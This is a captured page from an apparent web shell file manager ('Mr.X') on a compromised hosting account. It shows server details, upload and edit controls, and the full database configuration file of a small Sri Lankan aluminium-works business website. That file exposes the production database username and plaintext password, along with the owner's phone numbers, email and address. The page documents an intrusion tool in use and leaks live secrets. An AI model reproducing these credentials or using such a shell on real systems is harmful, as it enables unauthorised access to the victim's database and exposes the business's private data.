🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:db.php
<?php // includes/db.php $host = 'localhost'; $dbname = 'websparkit_Madushanaluminium'; // Detect if running locally $is_local = in_array($_SERVER['HTTP_HOST'] ?? '', ['localhost', '127.0.0.1', '::1']) || php_sapi_name() === 'cli'; if ($is_local) { $username = 'root'; $password = 'root'; // MAMP default password } else { $username = 'websparkit_ourweb'; $password = 'Kooji@sanu42'; } try { $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); } catch (PDOException $e) { if ($is_local && $password === 'root') { // Fallback for XAMPP (empty password) try { $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, ''); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); } catch (PDOException $ex) { $pdo = null; } } else { $pdo = null; } } // Create $conn alias for backward compatibility $conn = $pdo; // Helper function to sanitize output function e($string) { return htmlspecialchars($string ?? '', ENT_QUOTES, 'UTF-8'); } // Helper function to format currency in LKR function format_currency($amount) { if (!$amount || $amount == 0) return '<span class="text-muted">-</span>'; return 'LKR ' . number_format((float)$amount, 2); } // Database helper: execute a query function db_query($conn, $sql) { return $conn->exec($sql); } // Database helper: fetch all rows function db_fetch_all($conn, $sql) { try { $stmt = $conn->query($sql); return $stmt->fetchAll(PDO::FETCH_ASSOC); } catch (PDOException $e) { return []; } } // Database helper: fetch one row function db_fetch_one($conn, $sql) { try { $stmt = $conn->query($sql); return $stmt->fetch(PDO::FETCH_ASSOC); } catch (PDOException $e) { return null; } } // Database helper: escape string function db_escape($conn, $string) { return $conn->quote($string); } // Helper function to map service titles to actual high-resolution local images in assets/images/new/ function get_service_image($title, $index = 0) { $map = [ 'Aluminium Pantry Cupboard' => 'assets/images/new/WhatsApp Image 2026-05-12 at 18.30.59.jpeg', 'TV Wall Design' => 'assets/images/new/WhatsApp Image 2026-05-12 at 18.30.58.jpeg', 'Wall Decoration' => 'assets/images/new/WhatsApp Image 2026-05-12 at 18.31.00.jpeg', 'Clothing Wardrobe' => 'assets/images/new/WhatsApp Image 2026-05-12 at 18.31.00 (1).jpeg', 'Partition Decoration Wall' => 'assets/images/new/WhatsApp Image 2026-05-12 at 18.31.01.jpeg', 'Granite Works' => 'assets/images/new/WhatsApp Image 2026-05-12 at 18.31.01 (1).jpeg', 'Island Table' => 'assets/images/new/WhatsApp Image 2026-05-12 at 18.31.01 (2).jpeg', 'Bar Counter' => 'assets/images/new/WhatsApp Image 2026-05-12 at 18.31.02.jpeg', 'Dressing Table' => 'assets/images/new/WhatsApp Image 2026-05-12 at 18.31.02 (1).jpeg', 'TV Wall' => 'assets/images/new/WhatsApp Image 2026-05-12 at 18.30.58.jpeg', 'Wardrobe' => 'assets/images/new/WhatsApp Image 2026-05-12 at 18.31.00 (1).jpeg', 'Partition Wall' => 'assets/images/new/WhatsApp Image 2026-05-12 at 18.31.01.jpeg' ]; // Exact match if (isset($map[$title])) { return $map[$title]; } // Partial match search foreach ($map as $key => $val) { if (stripos($title, $key) !== false || stripos($key, $title) !== false) { return $val; } } // Fallback list of gorgeous high-res local images $fallbacks = [ 'assets/images/new/WhatsApp Image 2026-05-12 at 18.30.57.jpeg', 'assets/images/new/WhatsApp Image 2026-05-12 at 18.30.58.jpeg', 'assets/images/new/WhatsApp Image 2026-05-12 at 18.30.59.jpeg', 'assets/images/new/WhatsApp Image 2026-05-12 at 18.30.59 (1).jpeg', 'assets/images/new/WhatsApp Image 2026-05-12 at 18.30.59 (2).jpeg', 'assets/images/new/WhatsApp Image 2026-05-12 at 18.31.00.jpeg', 'assets/images/new/WhatsApp Image 2026-05-12 at 18.31.00 (1).jpeg', 'assets/images/new/WhatsApp Image 2026-05-12 at 18.31.01.jpeg', 'assets/images/new/WhatsApp Image 2026-05-12 at 18.31.01 (1).jpeg', 'assets/images/new/WhatsApp Image 2026-05-12 at 18.31.01 (2).jpeg', 'assets/images/new/WhatsApp Image 2026-05-12 at 18.31.02.jpeg', 'assets/images/new/WhatsApp Image 2026-05-12 at 18.31.02 (1).jpeg', 'assets/images/new/WhatsApp Image 2026-05-12 at 18.31.02 (2).jpeg' ]; return $fallbacks[$index % count($fallbacks)]; } // Fetch global settings try { $stmt = $pdo->query("SELECT * FROM contact_settings LIMIT 1"); $global_contact = $stmt->fetch(); $stmt = $pdo->query("SELECT * FROM social_links"); $global_socials = $stmt->fetchAll(); } catch (Exception $e) { // If table doesn't exist yet, provide defaults to prevent crashes $global_contact = [ 'whatsapp' => '0778185058', 'hotline_1' => '0778185058', 'hotline_2' => '0758185054', 'email' => 'madushanaluminium@gmail.com', 'address' => 'Thelawala, Thudugala, Sri Lanka', 'working_hours' => 'Monday to Saturday, 9:30 AM to 5:30 PM' ]; $global_socials = []; } ?>
Save Changes
Cancel
Create New File
Create New Folder